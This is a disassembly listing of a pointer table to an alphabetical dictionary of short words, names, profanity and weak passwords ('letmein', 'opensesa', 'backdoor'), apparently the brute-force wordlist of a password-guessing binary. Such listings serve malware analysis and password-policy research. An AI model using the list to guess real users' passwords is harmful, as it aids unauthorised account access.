dd offset aAnonymou ; "anonymou"
dd offset aAnswer ; "answer"
dd offset aAnthrax ; "anthrax"
dd offset aAnthropo ; "anthropo"
dd offset aAnvils ; "anvils"
dd offset aAnything ; "anything"
dd offset aApollo13 ; "apollo13"
dd offset aApril ; "april"
dd offset aAria ; "aria"
dd offset aAriadne ; "ariadne"
dd offset aArlene ; "arlene"
dd offset aArmy ; "army"
dd offset aArrow ; "arrow"
dd offset aArthur ; "arthur"
dd offset aArtist ; "artist"
dd offset aAsian ; "asian"
dd offset aAsshole ; "asshole"
dd offset aAthena ; "athena"
dd offset aAtmosphe ; "atmosphe"
dd offset aAtom ; "atom"
dd offset aAttack ; "attack"
dd offset aAuthoriz ; "authoriz"
dd offset aAztecs ; "aztecs"
dd offset aAzure ; "azure"
dd offset aBabe ; "babe"
dd offset aBaby ; "baby"
dd offset aBacchus ; "bacchus"
dd offset aBackdoor ; "backdoor"
dd offset aBadass ; "badass"
dd offset aBailey ; "bailey"
dd offset aBall ; "ball"
dd offset aBanana ; "banana"
dd offset aBananas ; "bananas"
dd offset aBandit ; "bandit"
dd offset aBank ; "bank"
dd offset aBanks ; "banks"
dd offset aBarbara ; "barbara"
dd offset aBarber ; "barber"
dd offset aBare ; "bare"
dd offset aBarf ; "barf"
dd offset aBaritone ; "baritone"
dd offset aBart ; "bart"
dd offset aBartman ; "bartman"
dd offset aBaseball ; "baseball"
dd offset aBasic ; "basic"
dd offset aBass ; "bass"
dd offset aBassoon ; "bassoon"
dd offset aBatch ; "batch"
dd offset aBatman ; "batman"
dd offset aBeach ; "beach"
dd offset aBeammeup ; "beammeup"
dd offset aBear ; "bear"
dd offset aBeast ; "beast"
dd offset aBeater ; "beater"
dd offset aBeauty ; "beauty"
dd offset aBeaver ; "beaver"
dd offset aBecky ; "becky"
dd offset aBeethove ; "beethove"
dd offset aBegin ; "begin"
dd offset aBehead ; "behead"
dd offset aBell ; "bell"
dd offset aBeloved ; "beloved"
dd offset aBenz ; "benz"
dd offset aBeowulf ; "beowulf"
dd offset aBerkeley ; "berkeley"
dd offset aBerlin ; "berlin"
dd offset aBerliner ; "berliner"
dd offset aBeryl ; "beryl"
dd offset aBeta ; "beta"
dd offset aBeth ; "beth"
dd offset aBetsie ; "betsie"
dd offset aBetty ; "betty"
dd offset aBeverly ; "beverly"
dd offset aBible ; "bible"
dd offset aBicamera ; "bicamera"
dd offset aBigfoot ; "bigfoot"
dd offset aBill ; "bill"
dd offset aBinary ; "binary"
dd offset aBios ; "bios"
dd offset aBird ; "bird"
dd offset aBishop ; "bishop"
dd offset aBitch ; "bitch"
dd offset aBitmap ; "bitmap"
dd offset aBitnet ; "bitnet"
dd offset aBlack ; "black"
dd offset aBlonde ; "blonde"
dd offset aBlondie ; "blondie"
dd offset aBlood ; "blood"
dd offset aBloodaxe ; "bloodaxe"
dd offset aBlow ; "blow"
dd offset aBlowjob ; "blowjob"
dd offset aBlue ; "blue"
dd offset aBlues ; "blues"
dd offset aBoard ; "board"
dd offset aBomb ; "bomb"
dd offset aBoner ; "boner"
dd offset aBoob ; "boob"
dd offset aBoobs ; "boobs"
dd offset aBook ; "book"
dd offset aBorn ; "born"
dd offset aBoyscout ; "boyscout"
dd offset aBradley ; "bradley"
dd offset aBrandi ; "brandi"
dd offset aBrandy ; "brandy"
dd offset aBravo ; "bravo"
dd offset aBreak ; "break"
dd offset aBreast ; "breast"
dd offset aBrenda ; "brenda"
dd offset aBrian ; "brian"
dd offset aBridget ; "bridget"
dd offset aBroadway ; "broadway"
dd offset aBrothel ; "brothel"
dd offset aBrunette ; "brunette"
dd offset aBrute ; "brute"
dd offset aBrutefor ; "brutefor"
dd offset aBulls ; "bulls"
dd offset aBullshit ; "bullshit"
dd offset aBumbling ; "bumbling"
dd offset aBung ; "bung"
dd offset aBurgess ; "burgess"
dd offset aBurn ; "burn"
dd offset aButch ; "butch"
dd offset aButt ; "butt"
dd offset aButthead ; "butthead"
dd offset aCaliforn ; "californ"
dd offset aCamille ; "camille"
dd offset aCampanil ; "campanil"
dd offset aCamping ; "camping"
dd offset aCandi ; "candi"
dd offset aCandy ; "candy"
dd offset aCantor ; "cantor"
dd offset aCaptain ; "captain"
dd offset aCapture ; "capture"
dd offset aCard ; "card"
dd offset aCardinal ; "cardinal"
dd offset aCaren ; "caren"
dd offset aCarla ; "carla"
dd offset aCarmen ; "carmen"
dd offset aCarol ; "carol"
dd offset aCarole ; "carole"
dd offset aCarolina ; "carolina"
dd offset aCaroline ; "caroline"
dd offset aCarrie ; "carrie"
dd offset aCarson ; "carson"
dd offset aCascades ; "cascades"
dd offset aCash ; "cash"
dd offset aCastle ; "castle"
dd offset aCatherin ; "catherin"
dd offset aCatholic ; "catholic"
dd offset aCathy ; "cathy"
dd offset aCave ; "cave"
dd offset aCayuga ; "cayuga"
dd offset aCecily ; "cecily"
dd offset aCelt ; "celt"
dd offset aCeltic ; "celtic"
dd offset aCeltics ; "celtics"
dd offset aCerulean ; "cerulean"
dd offset aChange ; "change"
dd offset aCharity ; "charity"
dd offset aCharles ; "charles"
dd offset aCharlie ; "charlie"
dd offset aCharming ; "charming"
dd offset aCharon ; "charon"
dd offset aChat_0 ; "chat"
dd offset aChem ; "chem"
dd offset aChemistr ; "chemistr"
dd offset aChess ; "chess"
dd offset aChester ; "chester"
dd offset aChip ; "chip"
dd offset aChris ; "chris"
dd offset aChristin ; "christin"
dd offset aChristy ; "christy"
dd offset aCigar ; "cigar"
dd offset aCigarett ; "cigarett"
dd offset aCindy ; "cindy"
dd offset aClass ; "class"
dd offset aClasses ; "classes"
dd offset aClassic ; "classic"
dd offset aClaudia ; "claudia"
dd offset aClaymore ; "claymore"
dd offset aCleavage ; "cleavage"
dd offset aClinton ; "clinton"
dd offset aCluster ; "cluster"
dd offset aClusters ; "clusters"
dd offset aCoast ; "coast"
dd offset aCocacola ; "cocacola"
dd offset aCocainco ; "cocainco"
dd offset aCock ; "cock"
dd offset aCode ; "code"
dd offset aCodename ; "codename"
dd offset aCodeword ; "codeword"
dd offset aCoffee ; "coffee"
dd offset aCoin ; "coin"
dd offset aCoke ; "coke"
dd offset aCola ; "cola"
dd offset aCold ; "cold"
dd offset aCollins ; "collins"
dd offset aColor ; "color"
dd offset aCombat ; "combat"
dd offset aComics ; "comics"
dd offset aCommit ; "commit"
dd offset aCommrade ; "commrade"
dd offset aCompany ; "company"
dd offset aComputin ; "computin"
dd offset aComrade ; "comrade"
dd offset aComrades ; "comrades"
dd offset aCondo ; "condo"
dd offset aCondom ; "condom"
dd offset aConnect ; "connect"
dd offset aConnie ; "connie"
dd offset aConserva ; "conserva"
dd offset aConsole ; "console"
dd offset aContinue ; "continue"
dd offset aCook ; "cook"
dd offset aCookbook ; "cookbook"
dd offset aCookie ; "cookie"
dd offset aCool ; "cool"
dd offset aCooper ; "cooper"
dd offset aCopper ; "copper"
dd offset aCops ; "cops"
dd offset aCopy ; "copy"
dd offset aCorneliu ; "corneliu"
dd offset aCorrect ; "correct"
dd offset aCounters ; "counters"
dd offset aCountry ; "country"
dd offset aCouscous ; "couscous"
dd offset aCowboy ; "cowboy"
dd offset aCrack ; "crack"
dd offset aCrackpot ; "crackpot"
dd offset aCream ; "cream"
dd offset aCreate ; "create"
dd offset aCreation ; "creation"
dd offset aCreature ; "creature"
dd offset aCredit ; "credit"
dd offset aCreosote ; "creosote"
dd offset aCretin ; "cretin"
dd offset aCrime ; "crime"
dd offset aCriminal ; "criminal"
dd offset aCristina ; "cristina"
dd offset aCrystal ; "crystal"
dd offset aCshrc ; "cshrc"
dd offset aCunt ; "cunt"
dd offset aCustomer ; "customer"
dd offset aCyber ; "cyber"
dd offset aCyberpun ; "cyberpun"
dd offset aCyberspa ; "cyberspa"
dd offset aCynthia ; "cynthia"
dd offset aDaemon ; "daemon"
dd offset aDaisy ; "daisy"
dd offset aDana ; "dana"
dd offset aDancer ; "dancer"
dd offset aDaniel ; "daniel"
dd offset aDanielle ; "danielle"
dd offset aDanny ; "danny"
dd offset aDapper ; "dapper"
dd offset aDark ; "dark"
dd offset aDarkaven ; "darkaven"
dd offset aData ; "data"
dd offset aDave ; "dave"
dd offset aDawn ; "dawn"
dd offset aDead ; "dead"
dd offset aDeathsta ; "deathsta"
dd offset aDebbie ; "debbie"
dd offset aDeborah ; "deborah"
dd offset aDebug ; "debug"
dd offset aDecember ; "december"
dd offset aDeck ; "deck"
dd offset aDefault ; "default"
dd offset aDefault_0 ; "DEFAULT"
dd offset aDefoe ; "defoe"
dd offset aDelta ; "delta"
dd offset aDeluge ; "deluge"
dd offset aDemocrat ; "democrat"
dd offset aDenise ; "denise"
dd offset aDennis ; "dennis"
dd offset aDesiree ; "desiree"
dd offset aDesk ; "desk"
dd offset aDesktop ; "desktop"
dd offset aDesperat ; "desperat"
dd offset aDevelop ; "develop"
dd offset aDevice ; "device"
dd offset aDial ; "dial"
dd offset aDiamond ; "diamond"
dd offset aDiana ; "diana"
dd offset aDiane ; "diane"
dd offset aDice ; "dice"
dd offset aDick ; "dick"
dd offset aDiehard ; "diehard"
dd offset aDiet ; "diet"
dd offset aDieter ; "dieter"
dd offset aDigital ; "digital"
dd offset aDinosaur ; "dinosaur"
dd offset aDipshit ; "dipshit"
dd offset aDirect ; "direct"
dd offset aDirector ; "director"
dd offset aDirty ; "dirty"
dd offset aDisc ; "disc"
dd offset aDiscipli ; "discipli"
dd offset aDisclose ; "disclose"
dd offset aDiscover ; "discover"
dd offset aDisk_0 ; "disk"
dd offset aDiskette ; "diskette"
dd offset aDisney ; "disney"
dd offset aDisplay ; "display"
dd offset aDoctor ; "doctor"
dd offset aDollar ; "dollar"
dd offset aDong ; "dong"
dd offset aDoom ; "doom"
dd offset aDoom2 ; "doom2"
dd offset aDoomii ; "doomii"
dd offset aDoomsday ; "doomsday"
dd offset aDoonesbu ; "doonesbu"
dd offset aDoor ; "door"
dd offset aDoors ; "doors"
dd offset aDope ; "dope"
dd offset aDownload ; "download"
dd offset aDragon ; "dragon"
dd offset aDrdoom ; "drdoom"
dd offset aDrive ; "drive"
dd offset aDrought ; "drought"
dd offset aDuck ; "duck"
dd offset aDude ; "dude"
dd offset aDuelist ; "duelist"
dd offset aDuke ; "duke"
dd offset aDulce ; "dulce"
dd offset aDuncan ; "duncan"
dd offset aDungeon ; "dungeon"
dd offset aDyke ; "dyke"
dd offset aEager ; "eager"
dd offset aEagle ; "eagle"
dd offset aEarth ; "earth"
dd offset aEasier ; "easier"
dd offset aEasy ; "easy"
dd offset aEatme ; "eatme"
dd offset aEcho ; "echo"
dd offset aEddie ; "eddie"
dd offset aEdges ; "edges"
dd offset aEdinburg ; "edinburg"
dd offset aEdit ; "edit"
dd offset aEdition ; "edition"
dd offset aEducation ; "education"
dd offset aEducatio ; "educatio"
dd offset aEdwin ; "edwin"
dd offset aEdwina ; "edwina"
dd offset aEgghead ; "egghead"
dd offset aEiderdow ; "eiderdow"
dd offset aEileen ; "eileen"
dd offset aEinsiein ; "einsiein"
dd offset aEinstein ; "einstein"
dd offset aElaine ; "elaine"
dd offset aElanor ; "elanor"
dd offset aElectron ; "electron"
dd offset aElephant ; "elephant"
dd offset aElizabet ; "elizabet"
dd offset aEllen ; "ellen"
dd offset aEmail ; "email"
dd offset aEmerald ; "emerald"
dd offset aEmily ; "emily"
dd offset aEmmanuel ; "emmanuel"
dd offset aEnemy ; "enemy"
dd offset aEngine ; "engine"
dd offset aEngineer ; "engineer"
dd offset aEngland ; "england"
dd offset aEnglish ; "english"
dd offset aEnter ; "enter"
dd offset aEnterpri ; "enterpri"
dd offset aEnzyme ; "enzyme"
dd offset aErenity ; "erenity"
dd offset aEric ; "eric"
dd offset aErica ; "erica"
dd offset aErika ; "erika"
dd offset aErin ; "erin"
dd offset aErotic ; "erotic"
dd offset aErsatz ; "ersatz"
dd offset aEstablis ; "establis"
dd offset aEstate ; "estate"
dd offset aEternity ; "eternity"
dd offset aEuclid ; "euclid"
dd offset aEvelyn ; "evelyn"
dd offset aExpert ; "expert"
dd offset aExplode ; "explode"
dd offset aExplore ; "explore"
dd offset aExplorer ; "explorer"
dd offset aExplosiv ; "explosiv"
dd offset aExtensio ; "extensio"
dd offset aFairway ; "fairway"
dd offset aFaith ; "faith"
dd offset aFalcon ; "falcon"
dd offset aFalse ; "false"
dd offset aFamily ; "family"
dd offset aFarad ; "farad"
dd offset aFaraday ; "faraday"
dd offset aFart ; "fart"
dd offset aFast ; "fast"
dd offset aFear ; "fear"
dd offset aFeds ; "feds"
dd offset aFelicia ; "felicia"
dd offset aFender ; "fender"
dd offset aFermat ; "fermat"
dd offset aFerrari ; "ferrari"
dd offset aFidelity ; "fidelity"
dd offset aField ; "field"
dd offset aFight ; "fight"
dd offset aFile ; "file"
dd offset aFinite ; "finite"
dd offset aFire ; "fire"
dd offset aFirewall ; "firewall"
dd offset aFishers ; "fishers"
dd offset aFlakes ; "flakes"
dd offset aFloat ; "float"
dd offset aFlorida ; "florida"
dd offset aFlower ; "flower"
dd offset aFlowers ; "flowers"
dd offset aFood ; "food"
dd offset aFool ; "fool"
dd offset aFoolproo ; "foolproo"
dd offset aFootball ; "football"
dd offset aForce ; "force"
dd offset aFord ; "ford"
dd offset aForesigh ; "foresigh"
dd offset aForever ; "forever"
dd offset aForm ; "form"
dd offset aFormat ; "format"
dd offset aFornicat ; "fornicat"
dd offset aForsythe ; "forsythe"
dd offset aFourier ; "fourier"
dd offset aFoxtrot ; "foxtrot"
dd offset aFrance ; "france"
dd offset aFrank ; "frank"
dd offset aFreak ; "freak"
dd offset aFred ; "fred"
dd offset aFree ; "free"
dd offset aFreedom ; "freedom"
dd offset aFrench ; "french"
dd offset aFriday ; "friday"
dd offset aFriend ; "friend"
dd offset aFriends ; "friends"
dd offset aFrighten ; "frighten"
dd offset aFrog ; "frog"
dd offset aFryguy ; "fryguy"
dd offset aFuck ; "fuck"
dd offset aFucker ; "fucker"
dd offset aFucking ; "fucking"
dd offset aFuckme ; "fuckme"
dd offset aFuckyou ; "fuckyou"
dd offset aFudge ; "fudge"
dd offset aFunction ; "function"
dd offset aFungible ; "fungible"
dd offset aGabriel ; "gabriel"
dd offset aGames ; "games"
dd offset aGardner ; "gardner"
dd offset aGarfield ; "garfield"
dd offset aGateway ; "gateway"
dd offset aGatherin ; "gatherin"
dd offset aGatt ; "gatt"
dd offset aGauss ; "gauss"
dd offset aGeorge ; "george"
dd offset aGerm ; "germ"
dd offset aGertrude ; "gertrude"
dd offset aGhost ; "ghost"
dd offset aGibson ; "gibson"
dd offset aGigabyte ; "gigabyte"
dd offset aGina ; "gina"
dd offset aGinger ; "ginger"
dd offset aGirl ; "girl"
dd offset aGlacier ; "glacier"
dd offset aGold ; "gold"
dd offset aGolden ; "golden"
dd offset aGolf ; "golf"
dd offset aGolfer ; "golfer"
dd offset aGood ; "good"
dd offset aGorgeous ; "gorgeous"
dd offset aGorges ; "gorges"
dd offset aGosling ; "gosling"
dd offset aGouge ; "gouge"
dd offset aGovermen ; "govermen"
dd offset aGrades ; "grades"
dd offset aGraham ; "graham"
dd offset aGrahm ; "grahm"
dd offset aGrand ; "grand"
dd offset aGrant ; "grant"
dd offset aGreat ; "great"
dd offset aGreen ; "green"
dd offset aGroup ; "group"
dd offset aGryphon ; "gryphon"
dd offset aGuardian ; "guardian"
dd offset aGucci ; "gucci"
dd offset aGuess ; "guess"
dd offset aGuitar ; "guitar"
dd offset aGumption ; "gumption"
dd offset aGuntis ; "guntis"
dd offset aHack ; "hack"
dd offset aHacked ; "hacked"
dd offset aHagar ; "hagar"
dd offset aHair ; "hair"
dd offset aHallowee ; "hallowee"
dd offset aHamlet ; "hamlet"
dd offset aHamster ; "hamster"
dd offset aHandel ; "handel"
dd offset aHandily ; "handily"
dd offset aHandjob ; "handjob"
dd offset aHappenin ; "happenin"
dd offset aHard ; "hard"
dd offset aHardcore ; "hardcore"
dd offset aHarddriv ; "harddriv"
dd offset aHarmony ; "harmony"
dd offset aHarold ; "harold"
dd offset aHarvey ; "harvey"
dd offset aHate ; "hate"
dd offset aHaven ; "haven"
dd offset aHawaii ; "hawaii"
dd offset aHead ; "head"
dd offset aHeadbang ; "headbang"
dd offset aHeat ; "heat"
dd offset aHeathen ; "heathen"
dd offset aHeather ; "heather"
dd offset aHebrides ; "hebrides"
dd offset aHeidi ; "heidi"
dd offset aHeinlein ; "heinlein"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aHelp ; "help"
dd offset aHerb ; "herb"
dd offset aHerbert ; "herbert"
dd offset aHero ; "hero"
dd offset aHeroin ; "heroin"
dd offset aHewlett ; "hewlett"
dd offset aHexadeci ; "hexadeci"
dd offset aHiawatha ; "hiawatha"
dd offset aHibernia ; "hibernia"
dd offset aHidden ; "hidden"
dd offset aHigh ; "high"
dd offset aHighland ; "highland"
dd offset aHitler ; "hitler"
dd offset aHits ; "hits"
dd offset aHole ; "hole"
dd offset aHolly ; "holly"
dd offset aHollywoo ; "hollywoo"
dd offset aHomepage ; "homepage"
dd offset aHomer ; "homer"
dd offset aHomework ; "homework"
dd offset aHoney ; "honey"
dd offset aHooker ; "hooker"
dd offset aHooters ; "hooters"
dd offset aHorny ; "horny"
dd offset aHorrible ; "horrible"
dd offset aHorror ; "horror"
dd offset aHorse ; "horse"
dd offset aHorus ; "horus"
dd offset aHost ; "host"
dd offset aHotdog ; "hotdog"
dd offset aHotel ; "hotel"
dd offset aHttp_0 ; "http"
dd offset aHunt ; "hunt"
dd offset aHunter ; "hunter"
dd offset aHutchins ; "hutchins"
dd offset aHydrogen ; "hydrogen"
dd offset aHyper ; "hyper"
dd offset aHypertxt ; "hypertxt"
dd offset aIcecream ; "icecream"
dd offset aIllumina ; "illumina"
dd offset aImage ; "image"
dd offset aImbrogli ; "imbrogli"
dd offset aImmortal ; "immortal"
dd offset aImperial ; "imperial"
dd offset aInclude ; "include"
dd offset aIndia ; "india"
dd offset aIndian ; "indian"
dd offset aIndiana ; "indiana"
dd offset aIndians ; "indians"
dd offset aIngres ; "ingres"
dd offset aIngress ; "ingress"
dd offset aIngrid ; "ingrid"
dd offset aInna ; "inna"
dd offset aInnocuou ; "innocuou"
dd offset aInput ; "input"
dd offset aInside ; "inside"
dd offset aInteger ; "integer"
dd offset aInvent ; "invent"
dd offset aIrene ; "irene"
dd offset aIrishman ; "irishman"
dd offset aIsis ; "isis"
dd offset aJackie ; "jackie"
dd offset aJail ; "jail"
dd offset aJane ; "jane"
dd offset aJanet ; "janet"
dd offset aJanice ; "janice"
dd offset aJanie ; "janie"
dd offset aJapan ; "japan"
dd offset aJasmin ; "jasmin"
dd offset aJava ; "java"
dd offset aJazz ; "jazz"
dd offset aJean ; "jean"
dd offset aJeanne ; "jeanne"
dd offset aJeff ; "jeff"
dd offset aJenni ; "jenni"
dd offset aJennifer ; "jennifer"
dd offset aJenny ; "jenny"
dd offset aJerry ; "jerry"
dd offset aJerusale ; "jerusale"
dd offset aJessica ; "jessica"
dd offset aJester ; "jester"
dd offset aJewelry ; "jewelry"
dd offset aJill ; "jill"
dd offset aJixian ; "jixian"
dd offset aJoanne ; "joanne"
dd offset aJody ; "jody"
dd offset aJohn ; "john"
dd offset aJohndoe ; "johndoe"
dd offset aJohnny ; "johnny"
dd offset aJoseph ; "joseph"
dd offset aJoshua ; "joshua"
dd offset aJournal ; "journal"
dd offset aJoyce ; "joyce"
dd offset aJudith ; "judith"
dd offset aJudy ; "judy"
dd offset aJuggle ; "juggle"
dd offset aJuicy ; "juicy"
dd offset aJulia ; "julia"
dd offset aJulie ; "julie"
dd offset aJuliet ; "juliet"
dd offset aJune ; "june"
dd offset aJupiter ; "jupiter"
dd offset aKaka ; "kaka"
dd offset aKaren ; "karen"
dd offset aKarie ; "karie"
dd offset aKarina ; "karina"
dd offset aKatana ; "katana"
dd offset aKate ; "kate"
dd offset aKathleen ; "kathleen"
dd offset aKathrine ; "kathrine"
dd offset aKathy ; "kathy"
dd offset aKatina ; "katina"
dd offset aKatrina ; "katrina"
dd offset aKelly ; "kelly"
dd offset aKeri ; "keri"
dd offset aKermit ; "kermit"
dd offset aKernel ; "kernel"
dd offset aKerri ; "kerri"
dd offset aKerrie ; "kerrie"
dd offset aKerry ; "kerry"
dd offset aKevin ; "kevin"
dd offset aKewl ; "kewl"
dd offset aKeybord ; "keybord"
dd offset aKeyin ; "keyin"
dd offset aKeyword ; "keyword"
dd offset aKids ; "kids"
dd offset aKill ; "kill"
dd offset aKillthem ; "killthem"
dd offset aKilo ; "kilo"
dd offset aKimberly ; "kimberly"
dd offset aKing ; "king"
dd offset aKirk ; "kirk"
dd offset aKirkland ; "kirkland"
dd offset aKiss ; "kiss"
dd offset aKissmyas ; "kissmyas"
dd offset aKitten ; "kitten"
dd offset aKlingon ; "klingon"
dd offset aKnife ; "knife"
dd offset aKnight ; "knight"
dd offset aKnightma ; "knightma"
dd offset aKnown ; "known"
dd offset aKrista ; "krista"
dd offset aKristen ; "kristen"
dd offset aKristi ; "kristi"
dd offset aKristie ; "kristie"
dd offset aKristin ; "kristin"
dd offset aKristine ; "kristine"
dd offset aKristy ; "kristy"
dd offset aLadies ; "ladies"
dd offset aLadle ; "ladle"
dd offset aLakers ; "lakers"
dd offset aLambda ; "lambda"
dd offset aLaminati ; "laminati"
dd offset aLana ; "lana"
dd offset aLaptop ; "laptop"
dd offset aLara ; "lara"
dd offset aLarkin ; "larkin"
dd offset aLarry ; "larry"
dd offset aLaser ; "laser"
dd offset aLaura ; "laura"
dd offset aLava ; "lava"
dd offset aLazarus ; "lazarus"
dd offset aLazer ; "lazer"
dd offset aLeah ; "leah"
dd offset aLebesgue ; "lebesgue"
dd offset aLeft ; "left"
dd offset aLeftwing ; "leftwing"
dd offset aLegal ; "legal"
dd offset aLeland ; "leland"
dd offset aLeroy ; "leroy"
dd offset aLesbian ; "lesbian"
dd offset aLeslie ; "leslie"
dd offset aLetmein ; "letmein"
dd offset aLewis ; "lewis"
dd offset aLexluthe ; "lexluthe"
dd offset aLiberal ; "liberal"
dd offset aLibrary ; "library"
dd offset aLick ; "lick"
dd offset aLicker ; "licker"
dd offset aLife ; "life"
dd offset aLight ; "light"
dd offset aLightsab ; "lightsab"
dd offset aLima ; "lima"
dd offset aLimbaugh ; "limbaugh"
dd offset aLimited ; "limited"
dd offset aLinda ; "linda"
dd offset aLink ; "link"
dd offset aLion ; "lion"
dd offset aLips ; "lips"
dd offset aLisa ; "lisa"
dd offset aLisp ; "lisp"
dd offset aLiteratu ; "literatu"
dd offset aLive ; "live"
dd offset aLoad ; "load"
dd offset aLock ; "lock"
dd offset aLockout ; "lockout"
dd offset aLockword ; "lockword"
dd offset aLogic ; "logic"
dd offset aLoginwor ; "loginwor"
dd offset aLogout ; "logout"
dd offset aLois ; "lois"
dd offset aLolopc ; "lolopc"
dd offset aLoose ; "loose"
dd offset aLore ; "lore"
dd offset aLori ; "lori"
dd offset aLorin ; "lorin"
dd offset aLorraine ; "lorraine"
dd offset aLoser ; "loser"
dd offset aLouis ; "louis"
dd offset aLovebug ; "lovebug"
dd offset aLover ; "lover"
dd offset aLuck ; "luck"
dd offset aLucus ; "lucus"
dd offset aLucy ; "lucy"
dd offset aLude ; "lude"
dd offset aLuke ; "luke"
dd offset aLust ; "lust"
dd offset aLynn ; "lynn"
dd offset aLynne ; "lynne"
dd offset aMachine ; "machine"
dd offset aMacintos ; "macintos"
dd offset aMack ; "mack"
dd offset aMacro ; "macro"
dd offset aMaggot ; "maggot"
dd offset aMagic ; "magic"
dd offset aMagnet ; "magnet"
dd offset aMail ; "mail"
dd offset aMaint ; "maint"
dd offset aMalcolm ; "malcolm"
dd offset aMalcom ; "malcom"
dd offset aMana ; "mana"
dd offset aManager ; "manager"
dd offset aMara ; "mara"
dd offset aMarci ; "marci"
dd offset aMarcy ; "marcy"
dd offset aMaria ; "maria"
dd offset aMariens ; "mariens"
dd offset aMarietta ; "marietta"
dd offset aMarijuan ; "marijuan"
dd offset aMarines ; "marines"
dd offset aMark ; "mark"
dd offset aMarkus ; "markus"
dd offset aMarni ; "marni"
dd offset aMarriage ; "marriage"
dd offset aMars ; "mars"
dd offset aMarty ; "marty"
dd offset aMarvin ; "marvin"
dd offset aMary ; "mary"
dd offset aMason ; "mason"
dd offset aMaster ; "master"
dd offset aMath ; "math"
dd offset aMaurice ; "maurice"
dd offset aMeagan ; "meagan"
dd offset aMegabyte ; "megabyte"
dd offset aMegadeth ; "megadeth"
dd offset aMegan ; "megan"
dd offset aMelissa ; "melissa"
dd offset aMellon ; "mellon"
dd offset aMelrose ; "melrose"
dd offset aMember ; "member"
dd offset aMemory ; "memory"
dd offset aMenace ; "menace"
dd offset aMenu ; "menu"
dd offset aMercury ; "mercury"
dd offset aMerlin ; "merlin"
dd offset aMetal ; "metal"
dd offset aMetalhea ; "metalhea"
dd offset aMetalica ; "metalica"
dd offset aMets ; "mets"
dd offset aMice ; "mice"
dd offset aMichael ; "michael"
dd offset aMichel ; "michel"
dd offset aMichelan ; "michelan"
dd offset aMichele ; "michele"
dd offset aMichelle ; "michelle"
dd offset aMickey ; "mickey"
dd offset aMicro ; "micro"
dd offset aMicrochi ; "microchi"
dd offset aMicropro ; "micropro"
dd offset aMicrosof ; "microsof"
dd offset aMidieval ; "midieval"
dd offset aMike ; "mike"
dd offset aMine ; "mine"
dd offset aMinimum ; "minimum"
dd offset aMinsky ; "minsky"
dd offset aMisfit ; "misfit"
dd offset aMission ; "mission"
dd offset aMkii ; "mkii"
dd offset aMode ; "mode"
dd offset aModem ; "modem"
dd offset aMogul ; "mogul"
dd offset aMoguls ; "moguls"
dd offset aMonday ; "monday"
dd offset aMonica ; "monica"
dd offset aMoom ; "moom"
dd offset aMoor ; "moor"
dd offset aMoose ; "moose"
dd offset aMore ; "more"
dd offset aMorley ; "morley"
dd offset aMorris ; "morris"
dd offset aMortal ; "mortal"
dd offset aMortalco ; "mortalco"
dd offset aMortgage ; "mortgage"
dd offset aMosaic ; "mosaic"
dd offset aMountain ; "mountain"
dd offset aMouse ; "mouse"
dd offset aMove ; "move"
dd offset aMovie ; "movie"
dd offset aMovies ; "movies"
dd offset aMozart ; "mozart"
dd offset aMpeg ; "mpeg"
dd offset aMsdos ; "msdos"
dd offset aMuppets ; "muppets"
dd offset aMutant ; "mutant"
dd offset aNagel ; "nagel"
dd offset aName ; "name"
dd offset aNancy ; "nancy"
dd offset aNapoleon ; "napoleon"
dd offset aNasa ; "nasa"
dd offset aNavy ; "navy"
dd offset aNepenthe ; "nepenthe"
dd offset aNeptune ; "neptune"
dd offset aNess ; "ness"
dd offset aNetscape ; "netscape"
dd offset aNetwork_0 ; "network"
dd offset aNewborn ; "newborn"
dd offset aNews ; "news"
dd offset aNewsgrou ; "newsgrou"
dd offset aNewton ; "newton"
dd offset aNewyork ; "newyork"
dd offset aNext ; "next"
dd offset aNice ; "nice"
dd offset aNicole ; "nicole"
dd offset aNicotine ; "nicotine"
dd offset aNight ; "night"
dd offset aNightmar ; "nightmar"
dd offset aNintendo ; "nintendo"
dd offset aNita ; "nita"
dd offset aNnaacp ; "nnaacp"
dd offset aNoble ; "noble"
dd offset aNobody ; "nobody"
dd offset aNode ; "node"
dd offset aNoreen ; "noreen"
dd offset aNotes ; "notes"
dd offset aNoth ; "noth"
dd offset aNova ; "nova"
dd offset aNovel ; "novel"
dd offset aNovember ; "november"
dd offset aNoxious ; "noxious"
dd offset aNuclear ; "nuclear"
dd offset aNude ; "nude"
dd offset aNuke ; "nuke"
dd offset aNukem ; "nukem"
dd offset aNull_1 ; "null"
dd offset aNumber ; "number"
dd offset aNutritio ; "nutritio"
dd offset aNuts ; "nuts"
dd offset aNyquist ; "nyquist"
dd offset aObscurit ; "obscurit"
dd offset aOceanogr ; "oceanogr"
dd offset aOcelot ; "ocelot"
dd offset aOffice ; "office"
dd offset aOkay ; "okay"
dd offset aOldage ; "oldage"
dd offset aOlivetti ; "olivetti"
dd offset aOlivia ; "olivia"
dd offset aOmega ; "omega"
dd offset aOpen ; "open"
dd offset aOpening ; "opening"
dd offset aOpenlock ; "openlock"
dd offset aOpensesa ; "opensesa"
dd offset aOperator ; "operator"
dd offset aOrca ; "orca"
dd offset aOrient ; "orient"
dd offset aOrwell ; "orwell"
dd offset aOscar ; "oscar"
dd offset aOsiris ; "osiris"
dd offset aOutdoors ; "outdoors"
dd offset aOutlaw ; "outlaw"
dd offset aOutput ; "output"
dd offset aOutside ; "outside"
dd offset aOxford ; "oxford"
dd offset aPacific ; "pacific"
dd offset aPackard ; "packard"
dd offset aPacker ; "packer"
dd offset aPainless ; "painless"
dd offset aPaint ; "paint"
dd offset aPakistan ; "pakistan"
dd offset aPamela ; "pamela"
dd offset aPapa ; "papa"
dd offset aPaper ; "paper"
dd offset aPapers ; "papers"
dd offset aPascal ; "pascal"
dd offset aPassphra ; "passphra"
dd offset aPaste ; "paste"
dd offset aPatricia ; "patricia"
dd offset aPatriot ; "patriot"
dd offset aPatty ; "patty"
dd offset aPaula ; "paula"
dd offset aPeanuts ; "peanuts"
dd offset aPecker ; "pecker"
dd offset aPencil ; "pencil"
dd offset aPenelope ; "penelope"
dd offset aPenguin ; "penguin"
dd offset aPenis ; "penis"
dd offset aPenname ; "penname"
dd offset aPentagon ; "pentagon"
dd offset aPentagra ; "pentagra"
dd offset aPenthous ; "penthous"
dd offset aPentium ; "pentium"
dd offset aPeoria ; "peoria"
dd offset aPepper ; "pepper"
dd offset aPercolat ; "percolat"
dd offset aPerfect ; "perfect"
dd offset aPermit ; "permit"
dd offset aPersimmo ; "persimmo"
dd offset aPersona ; "persona"
dd offset aPervert ; "pervert"
dd offset aPete ; "pete"
dd offset aPeter ; "peter"
dd offset aPhil ; "phil"
